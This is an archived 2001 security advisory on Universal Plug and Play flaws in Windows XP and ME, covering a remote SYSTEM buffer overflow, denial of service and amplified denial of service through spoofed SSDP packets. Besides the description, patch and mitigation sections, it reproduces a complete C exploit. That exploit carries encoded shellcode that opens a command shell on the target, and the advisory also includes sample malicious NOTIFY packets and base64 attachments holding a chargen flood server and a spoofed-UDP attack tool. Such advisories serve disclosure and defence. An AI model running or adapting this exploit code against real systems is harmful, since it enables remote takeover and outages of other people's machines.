21th Dec 2001 [SBWID-4949]
COMMAND
UPNP remote vulnerabilities
SYSTEMS AFFECTED
Microsoft Windows XP (All default systems)
Microsoft Windows 98 (Certain configurations)
Microsoft Windows 98SE (Certain configurations)
Microsoft Windows ME (Certain configurations)
PROBLEM
Eeye team (http://www.eeye.com) found three vulnerabilities in UPN
(Universal Plug and Play) Service which can be used to detect and
integrate with UPNP aware devices : A remotely exploitable buffer
overflow to gain SYSTEM level access to any default installation of
Windows XP, a Denial of Service (DoS) attack, and a Distributed Denial
of Service (DDoS) attack.
Description:
============
Windows XP ships by default with a UPNP (Universal Plug and Play)
Service which can be used to detect and integrate with UPNP aware
devices. Windows ME does not ship by default with the UPNP service,
however some OEM versions do provide the UPNP service by default. Also
its possible to install the Windows XP Internet Connection Sharing on
top of Windows 98, therefore making it vulnerable.
\"UPNP architecture offers pervasive peer-to-peer network connectivity
of PCs of all form factors, intelligent appliances, and wireless
devices. UPNP architecture leverages TCP/IP and the Web to enable
seamless proximity networking in addition to control and data transfer
among networked devices in the home, office, and everywhere in
between.\" as described on upnp.org.
We believe that there are several issues with the UPNP protocol itself.
However these more generic issues are out of the scope of this
advisory. Expect a detailed paper to be released from eEye within the
coming weeks.
This advisory covers three vulnerabilities within Microsoft\'s UPNP
implementation. A remotely exploitable buffer overflow to gain SYSTEM
level access to any default installation of Windows XP, a Denial of
Service (DoS) attack, and a Distributed Denial of Service (DDoS)
attack.
The SYSTEM Remote exploit
==========================
The first vulnerability, within Microsoft\'s implementation of the UPNP
protocol, can result in an attacker gaining remote SYSTEM level access
to any default installation of Windows XP. SYSTEM is the highest level
of access within Windows XP.
During testing of the UPNP service, we discovered that by sending
malformed advertisements at various speeds we could cause access
violations on the target machine. Most of these were due to pointers
being overwritten. The following describes one instance.
Example Session:
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=10
LOCATION: http://IPADDRESS:PORT/<buffer>.xml
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: EEYE/2001 UPnP/1.0 product/1.1
USN: uuid:EEYE
If a buffer is incremented in the protocol, port, and uri fields of the
Location URL and send sessions with 10,000 microsecond intervals,
access violations will begin to be observed. In one situation, The EAX
and ECX registers will contain addresses that are pulled from memory
that was overwritten and the svchost.exe process will access an invalid
memory address at a \"mov\" instruction. It throws and access violation
due to the fact that the destination address is an overwritten pointer,
and there\'s nothing interesting at 0x41414141.
During our testing we found that there were multiple points of
exploitation. In our testing we found instances of stack overflows and
heap overflows, both of which were exploitable. In the case of the heap
overflow we saw pointers being overwritten for both buffers and
functions.
The SSDP service also listens on Multicast and Broadcast addresses.
Therefore gaining SYSTEM access to an entire network of XP machines is
possible with only one anonymous UDP SSDP attack session.
The DoS and DDoS
================
UPNP consists of multiple protocols, one of which being the Simple
Service Discovery Protocol (SSDP). When a UPNP enabled device is
installed on a network, whether it be a computer, network device, or
even a household appliance, it sends out an advertisement to notify
control points of its existence. On a default XP installation, no
support is added for device control as it would be the case in an
installation of UPNP from \"Network Services\".
Although Microsoft added default support for an
\"InternetGatewayDevice.\" if a sniffer is run on a network with XP, XP
can be observed searching for this device as XP is loading. This
support was added to aid leading network hardware manufactures in
making UPnP enabled \"gateway devices\".
By sending a malicious spoofed UDP packet containing an SSDP
advertisement, an attacker can force the XP/ME client to connect back
to a specified IP address and pass on a specified HTTP/HTTPS request.
An example session:
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1
LOCATION: URL
NT: urn: schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: EEYE/2001 UPnP/1.0 PASSITON/1.1
USN: uuid:EEYE
The above packet data needs to be sent as a UDP packet to port 1900 of
the XP/ME machine.
When the XP machine receives this request, it will interpret the URL
following the LOCATION header entity. With no sanitizing of the URL it
is passed on to the functions in the Windows Internet Services API. The
string is broken down and the new session is created.
For example:
LOCATION: http://xptest.example.com:19/himom.html
A malicious attacker could specify a chargen service on a remote
machine causing the XP client to connect and get caught in a tight
read/malloc loop. Doing this will throw the machine into an unstable
state where CPU utilization is at %100 and memory is being allocated to
the point that it is totally consumed. This basically makes the remote
XP system completely unusable and requires a physical power off
shutdown.
Attackers could also use this exploit to control other XP machine\'s,
forcing such machines to perform Unicode attacks, double decode, or
random CGI exploiting. Due to the insecure nature of UDP an attacker
can exploit security holes on a web server using UPNP with almost total
anonymity.
One of the bigger problems, and why this can become a DDoS attack, is
that this SSDP announcement can be sent to broadcast addresses and
multicast. It is therefore possible to send one UDP packet causing all
XP machines on the target network to be navigated to the URL of choice,
performing an attack of choice.
Also since parts of the UPNP service are implemented as UDP (in our
opinion, a bad idea), it makes all of these attacks completely
untraceable.
Update
======
Exploit :
/*
* WinME/XP UPNP dos & overflow
*
* Run: ./XPloit host <option>
*
* Windows run the \"Universal Plug and Play technology\" service
* at port 5000. In the future this will allow for seemless
* connectivity of various devices such as a printer.
* This service have a DoS and a buffer overflow I exploit here.
*
* PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
*
* Author: hamada alborno
* Email: webmasta100@hotmail.com
* Webpage: http://www.a2z-net.net
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90
/***************************************************************************/
int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]=\"XP\";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks;
int bindport;
int i;
int port;
unsigned char shellcode[] =
\"\\x90\\xeb\\x03\\x5d\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x83\\xc5\\x15\\x90\\x90\"
\"\\x90\\x8b\\xc5\\x33\\xc9\\x66\\xb9\\x10\\x03\\x50\\x80\\x30\\x97\\x40\\xe2\\xfa\"
\"\\x7e\\x8e\\x95\\x97\\x97\\xcd\\x1c\\x4d\\x14\\x7c\\x90\\xfd\\x68\\xc4\\xf3\\x36\"
\"\\x97\\x97\\x97\\x97\\xc7\\xf3\\x1e\\xb2\\x97\\x97\\x97\\x97\\xa4\\x4c\\x2c\\x97\"
\"\\x97\\x77\\xe0\\x7f\\x4b\\x96\\x97\\x97\\x16\\x6c\\x97\\x97\\x68\\x28\\x98\\x14\"
\"\\x59\\x96\\x97\\x97\\x16\\x54\\x97\\x97\\x96\\x97\\xf1\\x16\\xac\\xda\\xcd\\xe2\"
\"\\x70\\xa4\\x57\\x1c\\xd4\\xab\\x94\\x54\\xf1\\x16\\xaf\\xc7\\xd2\\xe2\\x4e\\x14\"
\"\\x57\\xef\\x1c\\xa7\\x94\\x64\\x1c\\xd9\\x9b\\x94\\x5c\\x16\\xae\\xdc\\xd2\\xc5\"
\"\\xd9\\xe2\\x52\\x16\\xee\\x93\\xd2\\xdb\\xa4\\xa5\\xe2\\x2b\\xa4\\x68\\x1c\\xd1\"
\"\\xb7\\x94\\x54\\x1c\\x5c\\x94\\x9f\\x16\\xae\\xd0\\xf2\\xe3\\xc7\\xe2\\x9e\\x16\"
\"\\xee\\x93\\xe5\\xf8\\xf4\\xd6\\xe3\\x91\\xd0\\x14\\x57\\x93\\x7c\\x72\\x94\\x68\"
\"\\x94\\x6c\\x1c\\xc1\\xb3\\x94\\x6d\\xa4\\x45\\xf1\\x1c\\x80\\x1c\\x6d\\x1c\\xd1\"
\"\\x87\\xdf\\x94\\x6f\\xa4\\x5e\\x1c\\x58\\x94\\x5e\\x94\\x5e\\x94\\xd9\\x8b\\x94\"
\"\\x5c\\x1c\\xae\\x94\\x6c\\x7e\\xfe\\x96\\x97\\x97\\xc9\\x10\\x60\\x1c\\x40\\xa4\"
\"\\x57\\x60\\x47\\x1c\\x5f\\x65\\x38\\x1e\\xa5\\x1a\\xd5\\x9f\\xc5\\xc7\\xc4\\x68\"
\"\\x85\\xcd\\x1e\\xd5\\x93\\x1a\\xe5\\x82\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\xa4\\x57\"
\"\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x13\\x5e\\xe3\\x9e\\xc5\\xc1\\xc4\"
\"\\x68\\x85\\xcd\\x3c\\x75\\x7f\\xd1\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\x1c\\x4f\\xa4\"
\"\\x57\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x17\\x6e\\x95\\xe3\\x9e\\xc5\"
\"\\xc1\\xc4\\x68\\x85\\xcd\\x3c\\x75\\x70\\xa4\\x57\\xc7\\xd7\\xc7\\xd7\\xc7\\x68\"
\"\\xc0\\x7f\\x04\\xfd\\x87\\xc1\\xc4\\x68\\xc0\\x7b\\xfd\\x95\\xc4\\x68\\xc0\\x67\"
\"\\xa4\\x57\\xc0\\xc7\\x27\\x9b\\x3c\\xcf\\x3c\\xd7\\x3c\\xc8\\xdf\\xc7\\xc0\\xc1\"
\"\\x3a\\xc1\\x68\\xc0\\x57\\xdf\\xc7\\xc0\\x3a\\xc1\\x3a\\xc1\\x68\\xc0\\x57\\xdf\"
\"\\x27\\xd3\\x1e\\x90\\xc0\\x68\\xc0\\x53\\xa4\\x57\\x1c\\xd1\\x63\\x1e\\xd0\\xab\"
\"\\x1e\\xd0\\xd7\\x1c\\x91\\x1e\\xd0\\xaf\\xa4\\x57\\xf1\\x2f\\x96\\x96\\x1e\\xd0\"
\"\\xbb\\xc0\\xc0\\xa4\\x57\\xc7\\xc7\\xc7\\xd7\\xc7\\xdf\\xc7\\xc7\\x3a\\xc1\\xa4\"
\"\\x57\\xc7\\x68\\xc0\\x5f\\x68\\xe1\\x67\\x68\\xc0\\x5b\\x68\\xe1\\x6b\\x68\\xc0\"
\"\\x5b\\xdf\\xc7\\xc7\\xc4\\x68\\xc0\\x63\\x1c\\x4f\\xa4\\x57\\x23\\x93\\xc7\\x56\"
\"\\x7f\\x93\\xc7\\x68\\xc0\\x43\\x1c\\x67\\xa4\\x57\\x1c\\x5f\\x22\\x93\\xc7\\xc7\"
\"\\xc0\\xc6\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x47\\x14\\xa8\\x96\\xeb\\xb5\\xa4\\x57\"
\"\\xc7\\xc0\\x68\\xa0\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x4b\\x9c\\x57\\xe3\\xb8\\xa4\"
\"\\x57\\xc7\\x68\\xa0\\xc1\\xc4\\x68\\xc0\\x6f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x5f\"
\"\\xa4\\x57\\xc7\\x23\\x93\\xc7\\xc1\\xc4\\x68\\xc0\\x6b\\xc0\\xa4\\x5e\\xc6\\xc7\"
\"\\xc1\\x68\\xe0\\x3b\\x68\\xc0\\x4f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x3d\\xc7\\x68\"
\"\\xc0\\x73\\x7c\\x69\\xcf\\xc7\\x1e\\xd5\\x65\\x54\\x1c\\xd3\\xb3\\x9b\\x92\\x2f\"
\"\\x97\\x97\\x97\\x50\\x97\\xef\\xc1\\xa3\\x85\\xa4\\x57\\x54\\x7c\\x7b\\x7f\\x75\"
\"\\x6a\\x68\\x68\\x7f\\x05\\x69\\x68\\x68\\xdc\\xc1\\x70\\xe0\\xb4\\x17\\x70\\xe0\"
\"\\xdb\\xf8\\xf6\\xf3\\xdb\\xfe\\xf5\\xe5\\xf6\\xe5\\xee\\xd6\\x97\\xdc\\xd2\\xc5\"
\"\\xd9\\xd2\\xdb\\xa4\\xa5\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xfe\\xe7\\xf2\"
\"\\x97\\xd0\\xf2\\xe3\\xc4\\xe3\\xf6\\xe5\\xe3\\xe2\\xe7\\xde\\xf9\\xf1\\xf8\\xd6\"
\"\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\xd6\\x97\"
\"\\xd4\\xfb\\xf8\\xe4\\xf2\\xdf\\xf6\\xf9\\xf3\\xfb\\xf2\\x97\\xc7\\xf2\\xf2\\xfc\"
\"\\xd9\\xf6\\xfa\\xf2\\xf3\\xc7\\xfe\\xe7\\xf2\\x97\\xd0\\xfb\\xf8\\xf5\\xf6\\xfb\"
\"\\xd6\\xfb\\xfb\\xf8\\xf4\\x97\\xc0\\xe5\\xfe\\xe3\\xf2\\xd1\\xfe\\xfb\\xf2\\x97\"
\"\\xc5\\xf2\\xf6\\xf3\\xd1\\xfe\\xfb\\xf2\\x97\\xc4\\xfb\\xf2\\xf2\\xe7\\x97\\xd2\"
\"\\xef\\xfe\\xe3\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\x97\\x97\\xc0\\xc4\\xd8\\xd4\"
\"\\xdc\\xa4\\xa5\\x97\\xe4\\xf8\\xf4\\xfc\\xf2\\xe3\\x97\\xf5\\xfe\\xf9\\xf3\\x97\"
\"\\xfb\\xfe\\xe4\\xe3\\xf2\\xf9\\x97\\xf6\\xf4\\xf4\\xf2\\xe7\\xe3\\x97\\xe4\\xf2\"
\"\\xf9\\xf3\\x97\\xe5\\xf2\\xf4\\xe1\\x97\\x95\\x97\\x89\\xfb\\x97\\x97\\x97\\x97\"
\"\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\xf4\\xfa\\xf3\\xb9\\xf2\\xef\\xf2\\x97\"
\"\\x68\\x68\\x68\\x68\";
struct hostent *he;
struct sockaddr_in their_addr;
if(argc!=3)
{
fprintf(stderr,\"usage:%s <hostname> <command>\\n\",argv[0]);
fprintf(stderr,\"-f freeze the machine.\\n\");
fprintf(stderr,\"-e exploit.\\n\");
exit(1);
}
if(strstr(argv[2],\"-f\")) {
num_socks=FREEZE;
send_buffer=sendXP;
}
if(strstr(argv[2],\"-e\")) {
num_socks=1;
send_buffer=request;
bindport^=0x9797;
shellcode[778]= (bindport) & 0xff;
shellcode[779]= (bindport >> 8) & 0xff;
for(i = 0; i < 268; i++)
jmpcode[i] = (char)NOP;
jmpcode[268] = (char)0x4d;
jmpcode[269] = (char)0x3f;
jmpcode[270] = (char)0xe3;
jmpcode[271] = (char)0x77;
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90;
//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;
for(i = 0; i < 32; i++)
execode[i] = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);
snprintf(request, 2048, \"%s%s\\r\\n\\r\\n\", jmpcode, execode);
}
if((he=gethostbyname(argv[1]))==NULL)
{
perror(\"gethostbyname\");
exit(1);
}
/***************************************************************************/
for(i=0; i<num_socks;i++)
if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror(\"socket\"); exit(1);
}
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
for(i=0; i<num_socks;i++)
if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct
sockaddr))==-1)
{
perror(\"connect\");
exit(1);
}
for(i=0; i<num_socks;i++)
if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
{
perror(\"send\");
exit(0);
}
for(i=0; i<num_socks;i++)
close(sockfd[i]);
return 0;
}
DoS exploit by Gabriel Maggiotti (unchecked)
------_=_NextPart_001_01C19915.7D29A2BD
Content-Type: application/octet-stream;
name=\"chargen.c\"
Content-Transfer-Encoding: base64
Content-Description: chargen.c
Content-Disposition: attachment;
filename=\"chargen.c\"
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjwhLS0gc2F2ZWQgZnJvbSB1cmw9KDAwMzQpaHR0cDovL3FiMHgubmV0L2V4cGxvaXRz
L2NoYXJnZW4uYyAtLT4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBj
aGFyc2V0PXdpbmRvd3MtMTI1MiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8TUVUQSBjb250
ZW50PSJNU0hUTUwgNS4wMC4yOTE5LjYzMDciIG5hbWU9R0VORVJBVE9SPjwvSEVBRD4NCjxCT0RZ
PjxYTVA+LyoNCiAqIENoYXJnZW4gU2VydmVyDQogKg0KICogUnVuOiAuL2NoYXJnZW4gPGNoYXJn
ZW5fcG9ydD4NCiAqDQogKg0KICogQXV0aG9yOiAgICAgIEdhYnJpZWwgTWFnZ2lvdHRpLCBGZXJu
YW5kbyBPdWJp8WENCiAqIEVtYWlsOiAgICAgICBnbWFnZ2lvdEBjaXVkYWQuY29tLmFyLCBmb3Vi
aW5hQHFiMHgubmV0DQogKiBXZWJwYWdlOiAgICAgaHR0cDovL3FiMHgubmV0DQogKi8NCg0KI2lu
Y2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4N
CiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxu
ZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy93YWl0
Lmg+DQojaW5jbHVkZSA8bWFsbG9jLmg+DQoNCiNkZWZpbmUgQkFDS0xPRwk1DQojZGVmaW5lIE1B
WAk1MDANCg0KaW50DQptYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQppbnQgdmlzaXQ9
MTsNCmludCBpOw0KaW50IHBvcnQ7DQppbnQgc29ja2ZkOw0KaW50IG5ld2ZkOw0KaW50IG51bWJ5
dGVzOw0KY2hhciBidWZbTUFYXTsNCmNoYXIgZGllZGJ1ZlsxMDI0XTsNCg0KCXN0cnVjdCBzb2Nr
YWRkcl9pbiBteV9hZGRyOw0KCXN0cnVjdCBzb2NrYWRkcl9pbiB0aGVpcl9hZGRyOw0KCWludCBz
aW5fc2l6ZTsNCg0KCWlmKGFyZ2MhPTIpIHsNCgkJZnByaW50ZihzdGRlcnIsInVzYWdlOiAlcyA8
Y2hhcmdlbl9wb3J0PlxuIixhcmd2WzBdKTsNCgkJcmV0dXJuIDE7DQoJfQ0KCXBvcnQ9YXRvaShh
cmd2WzFdKTsNCg0KCWlmKCAoc29ja2ZkPXNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCkp
ID09IC0xKQ0KCXsNCgkJcGVycm9yKCJzb2NrZXQiKTsNCgkJZXhpdCgxKTsNCgl9DQoNCglteV9h
ZGRyLnNpbl9mYW1pbHk9QUZfSU5FVDsNCglteV9hZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOw0K
CW15X2FkZHIuc2luX2FkZHIuc19hZGRyPWh0b25sKElOQUREUl9BTlkpOw0KCWJ6ZXJvKCAmKG15
X2FkZHIuc2luX3plcm8pLDgpOw0KDQoJaWYoIGJpbmQoc29ja2ZkLCAoc3RydWN0IHNvY2thZGRy
ICopICZteV9hZGRyLFwNCgkJc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikgKSA9PSAtMSkNCgl7DQoJ
CXBlcnJvcigiYmluZCIpOw0KCQlleGl0KDEpOw0KCX0NCg0KDQoJaWYoIGxpc3Rlbihzb2NrZmQs
IEJBQ0tMT0cpID09IC0xKQ0KCXsNCgkJcGVycm9yKCJsaXN0ZW4iKTsNCgkJZXhpdCgxKTsNCgl9
DQoNCglmb3IoaT0wO2k8MTAyNDtpKyspDQoJCWRpZWRidWZbaV0gPSAncSc7DQoNCgl3aGlsZSgx
KSANCgl7CQ0KCQlzaW5fc2l6ZT1zaXplb2YoIHN0cnVjdCBzb2NrYWRkcl9pbik7DQoJCWlmKCAo
bmV3ZmQ9YWNjZXB0KHNvY2tmZCwoc3RydWN0IHNvY2thZGRyKikmdGhlaXJfYWRkcixcDQoJCQkg
JnNpbl9zaXplKSk9PSAtMSkNCgkJew0KCQkJcGVycm9yKCJhY2NlcHQiKTsNCgkJCWV4aXQoMSk7
DQoJCX0NCgkJcHJpbnRmKCJWaXNpdCBudW1iZXI6ICVkXG4iLHZpc2l0KyspOw0KDQoJCWlmKCFm
b3JrKCkpIA0KCQl7DQoJCQlpbnQgaT0xOw0KCQkJaWYoIChudW1ieXRlcz1yZWN2KG5ld2ZkLGJ1
ZixNQVgsMCkpPT0tMSApIA0KCQkJew0KCQkJCXBlcnJvcigicmVjdiIpOw0KCQkJCWV4aXQoMSk7
DQoJCQl9DQoJDQoJCQlidWZbbnVtYnl0ZXNdPSdcMCc7DQoJCQlwcmludGYoIiVzXG4iLGJ1Zik7
DQoJDQoJCQl3aGlsZSgxKQ0KCQkJew0KCQkJCWlmKHNlbmQobmV3ZmQsZGllZGJ1ZiwxMDI0LDAp
ID09LTEpDQoJCQkJew0KICAgICAgICAJCQkJcGVycm9yKCJzZW5kIik7DQogICAgICAgIAkJCQll
eGl0KDApOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCmNsb3NlKG5ld2ZkKTsNCn0NCjwvWE1QPjwv
Qk9EWT48L0hUTUw+DQo=
------_=_NextPart_001_01C19915.7D29A2BD
Content-Type: application/octet-stream;
name=\"upnp_udp.c\"
Content-Transfer-Encoding: base64
Content-Description: upnp_udp.c
Content-Disposition: attachment;
filename=\"upnp_udp.c\"
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdp
bmRvd3MtMTI1MiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+PC9IRUFEPg0KPEJPRFk+PFhNUD4v
KiANCiAqIFdpbk1FL1hQIFVQTlAgRDBTICANCiAqDQogKiAuL3VwbnBfdWRwIDxyZW1vdGVfaG9z
dG5hbWU+IDxzcG9vZmZlZF9ob3N0PiA8Y2hhcmdlbl9wb3J0Pg0KICoNCiAqIEF1dGhvcnM6ICAg
ICBHYWJyaWVsIE1hZ2dpb3R0aSwgRmVybmFuZG8gT3ViafFhDQogKiBFbWFpbDogICAgICAgZ21h
Z2dpb3RAY2l1ZGFkLmNvbS5hciwgZm91YmluYUBxYjB4Lm5ldA0KICogV2VicGFnZTogICAgIGh0
dHA6Ly9xYjB4Lm5ldA0KICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0cmlu
Zy5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jbHVkZSA8
c3RyaW5nLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNp
bmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUg
PHN5cy93YWl0Lmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8ZmNudGwuaD4NCg0K
I2RlZmluZSBNQVgJMTAwMA0KI2RlZmluZSBQT1JUCTE5MDANCg0KDQpjaGFyICpzdHJfcmVwbGFj
ZShjaGFyICpyZXAsIGNoYXIgKm9yaWcsIGNoYXIgKnN0cmluZykNCnsNCmludCBsZW49c3RybGVu
KG9yaWcpOw0KY2hhciBidWZbTUFYXT0iIjsNCmNoYXIgKnB0PXN0cnN0cihzdHJpbmcsb3JpZyk7
DQoNCnN0cm5jcHkoYnVmLHN0cmluZywgcHQtc3RyaW5nICk7DQpzdHJjYXQoYnVmLHJlcCk7DQpz
dHJjYXQoYnVmLHB0K3N0cmxlbihvcmlnKSk7DQpzdHJjcHkoc3RyaW5nLGJ1Zik7DQpyZXR1cm4g
c3RyaW5nOw0KfQ0KDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQppbnQgbWFpbihpbnQgYXJnYyxj
aGFyICphcmd2W10pDQp7DQoJaW50IHNvY2tmZCxpOw0KCWludCBudW1ieXRlczsNCglpbnQgbnVt
X3NvY2tzOw0KCWludCBhZGRyX2xlbjsNCgljaGFyIHJlY2l2ZV9idWZmZXJbTUFYXT0iIjsNCg0K
CWNoYXIgc2VuZF9idWZmZXJbTUFYXT0NCgkiTk9USUZZICogSFRUUC8xLjFcclxuSE9TVDogMjM5
LjI1NS4yNTUuMjUwOjE5MDBcclxuIg0KCSJDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTFcclxuTE9D
QVRJT046IGh0dHA6Ly93d3cuaG9zdC5jb206cG9ydC9cclxuIg0KCSJOVDogdXJuOnNjaGVtYXMt
dXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxXHJcbiINCgkiTlRTOiBzc2Rw
OmFsaXZlXHJcblNFUlZFUjogUUIwWC8yMDEgVVBuUC8xLjAgcHJvdWN0LzEuMVxyXG4iDQoJIlVT
TjogdXVpZDpRQjBYXHJcblxyXG5cclxuIjsNCg0KCWNoYXIgKmF1eD1zZW5kX2J1ZmZlcjsNCglz
dHJ1Y3QgaG9zdGVudCAqaGU7DQoJc3RydWN0IHNvY2thZGRyX2luIHRoZWlyX2FkZHI7DQoNCglp
ZihhcmdjIT00KQ0KCXsNCgkJZnByaW50ZihzdGRlcnIsInVzYWdlOiVzIDxyZW1vdGVfaG9zdG5h
bWU+ICJcDQoJCQkiPHNwb29mZmVkX2hvc3Q+IDxjaGFyZ2VuX3BvcnQ+XG4iLGFyZ3ZbMF0pOw0K
CQlleGl0KDEpOw0KCX0NCg0KDQoJYXV4PXN0cl9yZXBsYWNlKGFyZ3ZbMl0sInd3dy5ob3N0LmNv
bSIsc2VuZF9idWZmZXIpOw0KCWF1eD1zdHJfcmVwbGFjZShhcmd2WzNdLCJwb3J0IixzZW5kX2J1
ZmZlcik7DQoNCglpZigoaGU9Z2V0aG9zdGJ5bmFtZShhcmd2WzFdKSk9PU5VTEwpDQoJew0KCQlw
ZXJyb3IoImdldGhvc3RieW5hbWUiKTsNCgkJZXhpdCgxKTsNCgl9DQoNCg0KCWlmKCAoc29ja2Zk
PXNvY2tldChBRl9JTkVULFNPQ0tfREdSQU0sMCkpID09IC0xKSB7DQoJCXBlcnJvcigic29ja2V0
Iik7IGV4aXQoMSk7DQoJfQ0KDQoJdGhlaXJfYWRkci5zaW5fZmFtaWx5PUFGX0lORVQ7DQoJdGhl
aXJfYWRkci5zaW5fcG9ydD1odG9ucyhQT1JUKTsNCgl0aGVpcl9hZGRyLnNpbl9hZGRyPSooKHN0
cnVjdCBpbl9hZGRyKiloZS0+aF9hZGRyKTsNCgliemVybygmKHRoZWlyX2FkZHIuc2luX3plcm8p
LDgpOw0KDQoJaWYoIChudW1ieXRlcz1zZW5kdG8oc29ja2ZkLHNlbmRfYnVmZmVyLHN0cmxlbihz
ZW5kX2J1ZmZlciksMCxcDQoJKHN0cnVjdCBzb2NrYWRkciAqKSZ0aGVpcl9hZGRyLCBzaXplb2Yo
c3RydWN0IHNvY2thZGRyKSkpID09LTEpDQoJew0KCQlwZXJyb3IoInNlbmQiKTsNCgkJZXhpdCgw
KTsNCgl9DQoJY2xvc2Uoc29ja2ZkKTsNCg0KcmV0dXJuIDA7DQp9DQoNCg0KPC9YTVA+PC9CT0RZ
PjwvSFRNTD4NCg==
------_=_NextPart_001_01C19915.7D29A2BD--
SOLUTION
Vendor Status:
Microsoft has released a patch and security bulletin which is located
at:
http://www.microsoft.com/technet/security/bulletin/MS01-059.asp
To verify that the patch has been installed on your system use the
following:
Windows 98 and 98SE:
To verify that the patch has been installed on the machine, select
Start, then Run, then run the QFECheck utility. If the patch is
installed, \"Windows 98 Q314941 Update\" will be listed among the
installed patches. To verify the individual files, use the file
manifest provided in Knowledge Base article Q314941.
Windows ME:
To verify that the patch has been installed on the machine, select
Start, then Run, then run the QFECheck utility. If the patch is
installed, \"Windows Millennium Edition Q314757 Update\" will be listed
among the installed patches. To verify the individual files, use the
file manifest provided in Knowledge Base article Q314757.
Windows XP:
To verify that the patch has been installed on the machine, confirm
that the following registry key has been created on the machine:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Updates\\Windows
XP\\SP1\\Q315000. To verify the individual files, use the date/time and
version information provided in the following registry key:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Updates\\Windows
XP\\SP1\\Q315000\\Filelist.
The Common Vulnerabilities and Exposures (CVE) project has assigned the
following two ID\'s:
The Buffer Overflow: CAN-2001-0876
The Denial of Service: CAN-2001-0877
This is a candidate for inclusion in the CVE list http://cve.mitre.org,
which standardizes names for security problems.
We would strongly suggest denying all UPNP traffic at your internet
borders as there is really no need to allow UPNP traffic across the
Internet. Also it would be wise to completely turn off the UPNP
service\'s as most users are probably not utilizing them anyways. The
less services running on your machine the safer you will be. The SSDP
Discovery Service and Universal Plug and Play Host service should both
be set to manual load.
Discovery:
Riley Hassell <riley@eeye.com>
With extra help from:
